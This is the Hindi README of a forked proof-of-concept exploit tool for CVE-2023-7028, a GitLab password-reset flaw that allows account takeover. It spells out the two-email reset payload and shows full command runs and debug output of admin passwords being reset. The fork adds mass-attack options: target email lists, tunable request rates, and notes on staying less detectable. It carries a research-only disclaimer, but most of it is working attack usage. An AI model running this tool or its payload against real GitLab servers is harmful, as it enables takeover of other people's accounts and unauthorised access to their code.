
रिपॉजिटरी का यह FORK CVE-2023-7028 का प्रूफ-ऑफ-कॉन्सेप्ट प्रस्तुत करता है। मैं केवल एक्सप्लॉइट उपयोग में सुधार कर रहा हूँ
यह कोड भेद्यता का एक प्रूफ ऑफ कॉन्सेप्ट है, मैं किसी को भी इसे उन गिटलैब इंस्टेंस पर उपयोग करने के लिए प्रोत्साहित नहीं कर रहा हूँ जिनके वे मालिक नहीं हैं। यह उपकरण केवल अनुसंधान और शैक्षिक उद्देश्यों के लिए विकसित किया गया है और मैं इसके किसी भी उपयोग के लिए जिम्मेदार नहीं ठहराया जाऊंगा।
यह रिपॉजिटरी https://github.com/Vozec/CVE-2023-7028 का फोर्क है। मैं केवल एक्सप्लॉइट उपयोग में सुधार कर रहा हूँ।
CVE-2023-7028 एक खाता-अधिग्रहण भेद्यता को संदर्भित करता है जो उपयोगकर्ताओं को बिना उपयोगकर्ता संपर्क के गिटलैब व्यवस्थापक खाते का नियंत्रण लेने की अनुमति देता है।
भेद्यता पासवर्ड रीसेट करते समय ईमेल के प्रबंधन में निहित है। एक हमलावर 2 ईमेल प्रदान कर सकता है और रीसेट कोड दोनों को भेजा जाएगा। इसलिए लक्ष्य खाते के ईमेल पते के साथ-साथ हमलावर के ईमेल पते को प्रदान करना और व्यवस्थापक पासवर्ड को रीसेट करना संभव है। (गिटलैब बताता है कि 2-कारक प्रमाणीकरण इस भेद्यता के शोषण को रोकता है, क्योंकि पासवर्ड रीसेट करने के बाद भी हमलावर लॉग इन नहीं कर पाएगा।)
यह भेद्यता asterion04 द्वारा खोजी गई थी।
यहाँ एक उदाहरण पेलोड है
user[email][][email protected]&user[email][][email protected]
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: l3mG2v2XN4UBzbN18ZkW
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
You can connect on https://gitlab.example.com/users/sign_in
Username: [email protected]
Password: EU7XIYjlawjb5tH2jgmU
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt
[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20
[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful
$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]
This tool automates CVE-2023-7028 on gitlab
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)
-t पैरामीटर का उपयोग करें-l पैरामीटर का उपयोग करें (प्रति पंक्ति एक)--evil विकल्प के बिना, स्क्रिप्ट रीसेट लिंक खोजने के लिए सार्वजनिक अस्थायी-मेल का उपयोग करती है (पेंटेस्ट के दौरान सावधान रहें)--skip का उपयोग करें (बड़े पैमाने पर हमलों के लिए तेज़)-rps का उपयोग करें (डिफ़ॉल्ट: 10)। उच्च मान = तेज़ लेकिन अधिक पता लगाने योग्य# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123
# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5
# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50